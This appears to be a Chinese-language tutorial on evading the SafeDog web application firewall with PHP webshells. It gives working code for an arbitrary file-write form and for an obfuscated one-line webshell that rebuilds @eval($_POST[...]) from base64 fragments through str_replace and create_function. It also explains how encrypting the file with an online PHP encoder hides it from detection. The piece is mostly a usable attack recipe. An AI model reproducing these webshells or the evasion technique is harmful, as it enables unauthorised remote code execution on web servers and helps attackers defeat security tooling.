有这样一段php代码:
<?php$filename = $_GET[\'filename\'];include($filename);?>
定义一个变量,以get方式接收的filename参数,赋值给$filename,在调用的时候包含变量$filename,访问这样的一个文件时,会遭到WAF安全狗的拦截,存在WAF限制规则的特征码,
现有这样一段php代码:
<?$path = $_POST[\'x\'];$text = $_POST[\'y\'];$file = fopen($path, \"w+\");fwrite($file,$text);fclose($file);?><form action=\"\" method=\"post\">读取当前文件路径:<? echo $_SERVER[\'DOCUMENT_ROOT\'].$_SERVER[\'PHP_SELF\'];?></br>保存路径:<input name=\"x\" type=\"text\" /><br>写入内容:<br><textarea name=\"y\" cols=\"90\" rows=\"50\"></textarea></br><input name=\"\" type=\"submit\" value=\"提交\"/></form>
将这一段php代码访问后,
发现可以正常解析到web访问,原因就是代码中没有WAF限制的特征码,所以能绕过检测机制,
一句话木马绕过WAF:
有这样一段php代码:
<?php$mt=\"JF9QT1N\";$ojj=\"QGV2YWwo\";$hsa=\"UWydpMGle\";$fnx=\"5BeSleleddKTs=\";$zk = str_replace(\"d\",\"\",\"sdtdrd_redpdldadcde\");$ef = $zk(\"z\", \"\", \"zbazsze64_zdzeczodze\");$dva = $zk(\"p\",\"\",\"pcprpepaptpe_fpupnpcptpipopn\");$zvm = $dva(\'\', $ef($zk(\"le\", \"\", $ojj.$mt.$hsa.$fnx)));$zvm();?><?
原理就是将一句话木马进行base64加密,分别赋值不同的变量,再由str_replace()函数做各种替换,再进行拼接,最终得到我们想要的payload,
str_replace():参数:(\”需要匹配的字符\”,\”替换字符\”,\”需要匹配的对象\”)
经过base64解密层层替换拼接得到最终执行代码:
$zk=str_replace(\"d\",\"\",\"sdtdrd_redpdldadcde\")=str_replace // $zk=str_replace$ef=str_replace(\"z\", \"\", \"zbazsze64_zdzeczodze\")=base64_decode // $ef=base64_decode$dva=str_replace(\"p\",\"\",\"pcprpepaptpe_fpupnpcptpipopn\")=create_function //$dva=create_function$ojj.$mt.$hsa.$fnx=QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=str_replace((\"le\", \"\", \"QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=\")=QGV2YWwoJF9QT1NUWydpMG5BeSddKTs=base64_decode(\"QGV2YWwoJF9QT1NUWydpMG5BeSddKTs=\")=@eval($_POST[\'i0nAy\']);create_function(\'\',@eval($_POST[\'i0nAy\']);)$zvm();
将它生成一个txt文件,在WAF安全狗里面检测
安全狗扫出了变形木马,在web访问时,肯定被安全狗拦下,
这个时候,就要对php文件做处理,通过给它加密,绕过安全狗检测或变为安全狗检测不到的特征码,利用php在线加密:www.phpjm.net/encode.html
php经过加密后,利用自带调试功能的firefox浏览器访问,
可以看到,php文件已经成功访问,并且经过加密后安全狗检测也是不能发现它是危险代码